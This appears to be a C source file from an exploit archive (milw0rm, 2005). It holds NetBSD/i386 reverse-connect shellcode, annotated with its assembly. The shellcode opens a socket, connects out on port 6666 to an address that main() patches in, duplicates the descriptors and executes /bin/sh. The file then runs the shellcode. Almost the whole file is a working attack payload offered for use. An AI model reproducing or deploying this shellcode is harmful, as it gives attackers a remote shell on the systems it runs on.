71 lines
No EOL
2.4 KiB
C
71 lines
No EOL
2.4 KiB
C
/*
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* minervini at neuralnoise dot com (c) 2005
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* NetBSD/i386 2.0, callback shellcode (port 6666);
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*/
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#include <sys/types.h>
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#include <stdio.h>
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#include <string.h>
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char scode[] =
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"\x31\xc0" // xor %eax,%eax
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"\x31\xc9" // xor %ecx,%ecx
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"\x50" // push %eax
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"\x40" // inc %eax
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"\x50" // push %eax
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"\x40" // inc %eax
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"\x50" // push %eax
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"\x50" // push %eax
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"\xb0\x61" // mov $0x61,%al
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"\xcd\x80" // int $0x80
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"\x89\xc3" // mov %eax,%ebx
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"\x89\xe2" // mov %esp,%edx
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"\x49" // dec %ecx
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"\x51" // push %ecx
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"\x51" // push %ecx
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"\x41" // inc %ecx
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"\x68\xf5\xff\xff\xfd" // push $0xfdfffff5
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"\x68\xff\xfd\xe5\xf5" // push $0xf5e5fdff
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"\xb1\x10" // mov $0x10,%cl
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"\x51" // push %ecx
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"\xf6\x12" // notb (%edx)
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"\x4a" // dec %edx
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"\xe2\xfb" // loop .-3
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"\xf6\x12" // notb (%edx)
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"\x52" // push %edx
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"\x50" // push %eax
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"\x50" // push %eax
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"\xb0\x62" // mov $0x62,%al
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"\xcd\x80" // int $0x80
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"\xb1\x03" // mov $0x3,%cl
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"\x49" // dec %ecx
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"\x51" // push %ecx
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"\x41" // inc %ecx
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"\x53" // push %ebx
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"\x50" // push %eax
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"\xb0\x5a" // mov $0x5a,%al
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"\xcd\x80" // int $0x80
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"\xe2\xf5" // loop .-9
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"\x51" // push %ecx
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"\x68\x2f\x2f\x73\x68" // push $0x68732f2f
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"\x68\x2f\x62\x69\x6e" // push $0x6e69622f
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"\x89\xe3" // mov %esp,%ebx
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"\x51" // push %ecx
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"\x54" // push %esp
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"\x53" // push %ebx
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"\x50" // push %eax
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"\xb0\x3b" // mov $0x3b,%al
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"\xcd\x80"; // int $0x80
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int main() {
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scode[23] = ~10;
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scode[24] = ~0;
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scode[25] = ~0;
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scode[26] = ~2;
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void (*code) () = (void *) scode;
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printf("length: %d\n", strlen(scode));
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code();
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return (0);
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}
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// milw0rm.com [2005-11-30]
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